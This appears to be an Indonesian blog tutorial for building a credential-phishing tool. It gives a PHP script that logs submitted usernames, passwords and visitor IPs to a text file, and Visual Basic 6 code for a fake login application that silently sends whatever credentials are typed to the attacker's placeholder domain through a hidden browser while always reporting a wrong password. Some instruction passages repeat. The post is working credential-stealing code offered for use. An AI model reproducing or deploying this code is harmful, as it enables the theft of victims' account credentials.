1. Buka webhosting agan,lalu buat 1 buah file dengan nama phising.php
lalu isikan dengan code ini
PHP Code:
<?php
$datum=date('d-m-Y / h:i:s a');$email = $_GET[e];$password = $_GET[p];$ip = getenv ('REMOTE_ADDR');$fl = fopen('Ihiy.txt', 'a');fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");fclose($fl); $ref = $_SERVER['HTTP_REFERER'];header("location: $ref");?>
trus di save gan,
sekarang kita buka Microsoft Visual Basic 6.0
----------------------------------------
Author : ToMz™HN
Facebook : http://www.facebook.com/uciselallu
Compiller : Microsoft Visual Basic 6.0
Program Tipe : Fake Aplication
----------------------------------------
buat 1 buah project baru lalu buat ini :
sekarang kita buka Microsoft Visual Basic 6.0
----------------------------------------
Author : ToMz™HN
Facebook : http://www.facebook.com/uciselallu
Compiller : Microsoft Visual Basic 6.0
Program Tipe : Fake Aplication
----------------------------------------
buat 1 buah project baru lalu buat ini :
* Buat 1 Form dengan nama frmUtama
* buat 1 Module dengan nama modConnect
* buat 1 Module dengan nama modConnect
lalu di frmUtama tambahkan 2 buah text box dan 1 buah command button 1 buah label
Textbox pertama di namakan : txtUname
Textbox Kedua di namakan : txtPass
Command button dinamakan : cmdLogin
Label dinamakan : lblInfo
Copykan kode ini kedalam form
Textbox pertama di namakan : txtUname
Textbox Kedua di namakan : txtPass
Command button dinamakan : cmdLogin
Label dinamakan : lblInfo
Copykan kode ini kedalam form
Private Sub Form_Load()
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Internet !"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
Me.Caption = "mydisha Ganteng :p"
End If
End Sub
lalu masukan code ini kedalam cmdLogin
Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text
If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application")
IE.Visible = 0
IE.Navigate "http://www.domainkamu.com/phising.php?e=" & _
user & "&p=" & pass
Do While IE.Busy
Sleep 200 'sleepnya 200 ajah :p
Loop
IE.Quit
Set IE = Nothing
lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If
sampai kapanpun kotak pesan yang memberitahukan kita salah memasukan password/username akan selalu muncul bila command button di klik bila sudah compile project kamu,lalu lakukan percobaan
bila ingin melihat hasil lognya agan dapat mengakses
http://www.domainkamu.com/Ihiy.txt
0 komentar:
Posting Komentar